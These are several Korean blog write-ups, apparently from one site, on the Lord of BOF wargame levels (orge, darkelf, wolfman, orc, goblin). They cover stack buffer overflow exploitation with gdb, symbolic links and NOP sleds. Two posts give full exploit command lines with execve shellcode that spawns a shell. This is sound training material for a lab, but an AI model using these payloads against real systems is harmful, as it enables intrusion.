어떤 파일이 있는지 확인하고 .c파일을 출력시켜보았다.

 

앞전 문제와 매우 유사하지만 또 하나가 추가 되었다.

argv[0]로 받은 값의 길이가 77로 딱맞아 떨어져야 된다는 것이다.

 

argv[0]....argv[0]은 실행하는 파일이다.

(./test ./orge 이런거)

 

./ `python -c 'print "/"*73+"test"'`

될리가 없다. 왜? 경로가 다르기 때문이다.

 

ln -s orge `python -c 'print "A"*63'`

심볼릭 링크를 사용하여 A*63이 orge를 의미하도록 한다.

절대경로와 심볼릭링크를 사용하여 orge를 호출한다.

자 argv error가 해결 된것을 확인 할 수 있다 나머지는 앞문제와 똑같다.

 

ebp를 확인하여 argv[2]의 시작 주소를 확인하고 패이로드를 작성해준다.

'Challenge > LOB' 카테고리의 다른 글

LOB-vampire  (0) 2020.04.17
LOB-troll  (0) 2020.04.17
LOB-darkelf  (0) 2020.04.11
LOB-wolfman  (0) 2020.04.11
LOB-orc  (0) 2020.04.11

어떤 파일이 있는지 확인한후 cat명령어를 사용하여 darkelf.c 파일을 출력한다.

앞 문제랑 다를게 전혀 없다. //chck the length of argument가 추가 되긴 하였지만 buffer에 들어갈 인자에 길이 제한을 두어 48개가 넘지 못하게 할 뿐이다.

 

argv[2]를 이용하기 위해 gdb를 사용하여 주소를 찾아낸다.

 

첫번째 인자를 넣어주고 두번째 인자도 넣어 주소를 확인한다.

주소가 확인되었다 대략 0XBFFFFC50 정도 넣어주면 될것 같다.

 

패이로드를 작성한다.

./darkelf `python -c 'print "\x90"*44+"\x50\xfc\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

'Challenge > LOB' 카테고리의 다른 글

LOB-troll  (0) 2020.04.17
LOB-orge  (0) 2020.04.12
LOB-wolfman  (0) 2020.04.11
LOB-orc  (0) 2020.04.11
LOB-goblin  (0) 2020.04.10

어떤 파일이 있는지 확인하고 bash2 쉘로 변경한후 코드를 확인한다.

 

앞문제와 크게 다를 건 없다 //buffer 헌터가 추가 되어서 buffer에 쉘코드를 집어 넣을수 없게 되었다.

gdb를 사용하여 strcpy가 main+189에 호출되는것을 확인 할 수 있다.

main+197에 break을 걸고 argv[2]를 이용하기 위해 값을 입력하여 주소를 찾도록한다.

 

을 사용해서 두번째 인자의 시작지점을 찾아냈다.

0xbffffc45 대략 bffffc50정도로 잡고 패이로들르 작성해주면 될 것 같다.

./wolfman `python -c 'print "\x90"*44+"\x50\xfc\xff\xbf"+" "+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

 

첫번째 인자로는 더미값과 ret 주소가 쉘코드쪽을 가르키도록 값을 넣어준다.

두번째 인자는 NOP sled를 이용하기 위한 NOP값과 바로 뒤에 쉘코드를 넣어준다.

획득했다

'Challenge > LOB' 카테고리의 다른 글

LOB-orge  (0) 2020.04.12
LOB-darkelf  (0) 2020.04.11
LOB-orc  (0) 2020.04.11
LOB-goblin  (0) 2020.04.10
LOB-cobolt  (0) 2020.04.10

orc.c 코드를 확인한다.

 

//egghunter 환경변수를 사용하여 편하게 풀지 못하도록 모든 환경 변수들을 초기화 하고 있다.

 

'\xbf' 를 사용하여 스택 주소인지 검사하고 있다.

buf가 40 바이트 같는것 같다. SFP가 4바이트 갖을것이고 ret도 4바이트 갖을 것으로 보인다.

48번째에 bf를 검사하는거 보니 44칸 의미 없이 채우고 45 46 47 48 은 주소값을 넣어 주면 될거 같다.

 

buffer의 위치 주소를 알아낸다.

\xbffffb00인것을 확인 하였다.

 

패이로드를 작성한다.

성공

 

'Challenge > LOB' 카테고리의 다른 글

LOB-darkelf  (0) 2020.04.11
LOB-wolfman  (0) 2020.04.11
LOB-goblin  (0) 2020.04.10
LOB-cobolt  (0) 2020.04.10
LOB - gremlin  (0) 2020.04.10

어떤 파일이 있는지 확인하고 goblin.c를 출력해서 확인한다.

cobolt 문제와 유사하다 다른점은 stdin으로 받는다라는 것 말고 말이다.

 

쉘코드를 작성하여 환경변수로 등록해 놓은후 buffer에 overflow를 일으키면 해결된다.

환경변수 주소 값을 확인하고 페이로드를 작성하자

 

'Challenge > LOB' 카테고리의 다른 글

LOB-darkelf  (0) 2020.04.11
LOB-wolfman  (0) 2020.04.11
LOB-orc  (0) 2020.04.11
LOB-cobolt  (0) 2020.04.10
LOB - gremlin  (0) 2020.04.10

+ Recent posts